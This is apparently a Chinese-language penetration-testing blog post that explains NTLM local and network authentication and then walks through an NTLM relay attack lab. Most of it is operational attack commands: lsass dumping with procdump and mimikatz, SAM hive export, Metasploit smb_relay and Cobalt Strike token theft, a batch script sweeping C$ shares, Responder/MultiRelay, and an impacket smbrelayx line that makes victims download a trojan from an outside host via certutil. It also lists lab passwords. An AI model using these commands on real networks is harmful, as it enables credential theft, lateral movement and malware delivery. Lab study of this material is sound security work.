NTLM协议学习
NTLM是NT LAN Manager的缩写,是telnet的一种验证身份的方式,分为本地认证和网络认证,当我们登录主机的时候,就会将lsass.exe进程转换的明文密码hash与sam文件进行对比,如果相同说明认证成功就能成功登录,而网络认证就是当我们访问同于局域网的主机的SMB共享时,就需要提供凭证通过验证才能访问。
本地认证NTML
本地认证流程:用户输入密码,然后系统收到密码之后计算成NTLM hash,然后和本地文件 /config/sam 数据库中该用户的hash进行对比,如果相同就登录成功,如果不相同就登录失败,这个sam文件可以使用mimikatz进行提取,也可以使用msf和cs进行提取,如果考虑杀软可以将lsass.exe的数据进行导出,然后放在本地,使用mimikatz和procdump.exe进行读取
procdump.exe -accepteula -ma lsass.exe lsass.dmp //这个dmp就是导出的文件,直接找到lsass.exe进程然后右键导出即可
// 使用mimikatz提取sam文件数据
提升权限
privilege::debug
读取文件,并提取数据
sekurlsa::logonpasswords
也可以使用命令
也可以使用注册表进行导出
reg save hklmsam sam.hive
reg save hklmsystem system.hive
然后使用mimikatz进行读取
// 需要将文件放在mimkatz的同一文件夹
lsadump::sam /sam:sam.hive /system:system.hive
NTLM hash的加密流程
将明文口令转换成十六进制,转换成Unicode格式,然后对Unicode字符串进行MD4加密,这个结果就是32位的十六进制NTLMhash
以上的就是sam文件的读取也就是获取用户的NTLM值和本地NTLM的认证方式
NTLM hash的格式
当我们对NTLM hash进行查询的时候有的时候会出现这样的格式
Administrator:501:AAD3B435B51404EEAAD3B435B51404EE:XXXX
这个前面的501是用户的标识符,然后后面的第二部分是LM hash在windows vista和windows server 2008版本之后就默认禁用LM hash所以抓到的hash如果是”AAD3B435B51404EEAAD3B435B51404EE”说明此主机禁用了LM hash或者为空,最后的一部分就是NT hash
NET-NTLM 认证(网络认证)
这个是用于工作组或者域环境的认证,比如我们在访问同一局域网的一台主机的SMB共享服务的时候就需要提供认证才能进行访问
认证的流程
工作组的认证流程:
1 客户端向服务端发起用户信息的请求,这个请求包含用户名和想要访问的资源信息等
2 服务端接收到了用户的请求,判断本地用户是否存在客户端发送的用户名,如果存在,就会生成一个16位的Challenge,客户端接收到这个Challenge就使用本地用户的NTLM hash来生成一个response,如果使用net use xxx 用户名和密码,就会使用命令提供的账号和密码对Challenge进行加密,这个加密的response(就是通过NTLM hash加密的Challenge)就是NET-NTLM hash,在中继攻击的时候也是获取这个值进行攻击的。
3 客户端发送加密好的这个hash发送给服务端,服务端也会使用本地的用户的NTML对Challenge进行加密,然后和客户端发送的这个加密值进行对比,如果相同就验证成功就能正常提供连接,反之失败
域环境的认证流程:
1 在域环境中域内的机器中的SAM文件中不存在域用户的NTLM hash ,所以服务器将客户端的用户名 Challenge reponse通过Netlogon协议发送到域控主机,让域控对这个客户端进行验证是否是域内合法的机器,也就是对这个机器进行身份验证
2 域控接收服务端发送的请求,在自己的ntds.dit中查询是否存在这个域用户,如果存在就使用对应的NTLM hash对Challenge进行加密,最后与服务端发送的NET-NTLM hash进行对比,如果相同,说明是域内的这个机器拥有的密码是正确的,确认了是存在且正常的用户,然后将验证结果发送给服务器
3 服务端接收到域控返回的验证结果,判断是否成功,如果验证成功说明可以提供连接,反之拒绝连接
Net-NTML-Hash的格式如下
username:domain:challenge:NTProofStr:blob
NTLM Relay攻击
原理:利用NTLM协议漏洞,将用户的身份验证信息中继到攻击者控制的计算机上面,从而实现对目标计算机的攻击,可以进行敏感信息的窃取和系统的完全控制。其中的原理核心就是当域内主机进行比如smb服务的访问时,首先使用的就是当前用户的账号和密码进行验证,如果验证失败对方主机就直接拒绝访问,反之成功,也就是说这个攻击需要域内主机的账号和密码都相同才能攻击成功
实验:使用msf+cs进行NTLMrelay攻击实验
kali:192.168.9.16 cs + msf
域控密码:dc2012@
受害主机:windows server 2008 192.168.9.54 本地 administrator/123321Zxc 域账号am:amanagent#1
攻击主机 :windows 7 192.168.9.53 本地 administrator/123321Zxc 域账号:am:amanagent#1
当主机都用本地管理员进行登录:
windows server 2008
win 7:
问题:切换本地administrator账号提示该账号被禁用,使用dc进行修改无法修改成功
解决:使用域控账号登录主机然后使用管理员权限进行修改
如果没有设置管理员账号密码就得先设置密码
// net user administrator *
之后输入密码即可
第二步就是激活管理员账户
net user administrator /active:yes,之后就能正常使用本地管理员账号进行登录
win7使用smb进行连接尝试
net use \192.168.9.54c$
直接就连接成功
然后清除连接,将win7使用其他用户进行登录
删除连接:net use \192.168.9.53c$ /delete
之后再次使用53主机重新进行尝试连接显示
说明只能是当前登录用户的账号密码相同才能成功
使用cs先创建一个木马让攻击机器上线
然后使用插件进行提权
之后把这个会话回传到msf
先创建一个msf的监听
之后在cs执行spawn msf就能将这个会话转入到msf,首先msf进行监听
然后run进行监听
cs执行命令
然后需要设置路由
run autoroute -p 查看当前的路由
没有路由所以得自己添加就运行给的命令即可,如果在实际攻击中kali主机是一般是外网的就必须设置路由并且目标不出网还得将攻击的payload修改成正向连接,就是bind模式
run post/multi/manage/autoroute
然后使用smb协议的relay攻击模块
use exploit/windows/smb/smb_relay
这里设置攻击目标 set smbhost xxx
然后还得进行一个设置
set autorunscript post/windows/manage/migrate
最后直接run
然后在53主机上切换administrator用户执行dir 192.168.9.16c$就能获得一个54的session
进入session进行查看权限
这里成功的原理其实就是将自己的密码通过kali进行中继到54个主机然后进行匹配连接。
在实际环境中并不能直接登录主机进行切换administrator主机进行执行命令,所以就可以使用msf或者cs中的窃取权限到administrator就可以了,然后再执行命令即可
cs中:
执行命令
ps查看进程
然后找到administrator权限运行的进程,记录pid使用命令进行窃取
steal_token 2384
然后查看权限
然后再执行
dir \192.168.9.16c$ # 也可以使用net use命令
然后查看是否有shell得到
得到shell查看权限
第二种就是利用msf进行窃取权限进行releay重放
首先设置好攻击主机,我这里设置的是192.168.9.54,然后还得设置这个 set autorunscript post/windows/manage/migrate,每一次新的攻击都得重新设置,不然会报错不能成功
然后进行run状态
再执行sessions进入53的session执行命令ps查看进程然后记录administrator的进程pid
然后执行命令进行窃取权限
migrate 876
查看权限
然后在执行dir的命令进行访问kali
就直接是54的system权限
域内批量进行releay攻击方法
写一个bat脚本传入获得权限的主机然后进行查看,如果能够执行成功并且返回不是错误,就证明这些主机可以进行攻击
@echo off
setlocal EnableDelayedExpansion // 这个就是启用了延迟变量,这个就是可以使用!!对变量进行改变复制
set "startIP=50"
set "endIP=70"
echo Testing connectivity...
for /L %%i in (%startIP%, 1, %endIP%) do (
set "ip=192.168.9.%%i"
echo Testing !ip!...
dir \!ip!c$ > nul 2>&1
if !errorlevel! == 0 (
echo !ip! is reachable.
) else (
echo !ip! is not reachable.
)
设置延迟,防止执行后一直卡住,提高测试效率
timeout /t 3 > nul
)
endlocal
效果
中继攻击获取hash
使用responder+Multirelay获取权限
首先使用kali的responder进行监听网卡
// 这里需要设置 /usr/share/responder下面的conf工具关闭smb和http的选项
responder -I eth0 -wd
然后启动Multirelay工具攻击54主机
python multrirelay.py -t 192.168.9.54 -u ALL
然后在53主机执行命令
dir 192.168.9.16c$
然后在kali中就能获得54的权限
还有使用impacket套件进行使用,因为在实际环境中,监听网卡并不能很好的进行渗透测试
比如 192.168.9.16是我们的外网vps主机,将impacket套件进行上传然后执行下面的指令,下载木马
proxychains4 python3 smbrelayx.py -h 192.168.9.54 -c "certutil.exe -urlcache -split -f http://192.168.9.52/6689.exe 2233.exe"
然后就会进行执行,当然代理的网络很慢,等待一下就能下载成功,下一步就执行木马进行上线即可。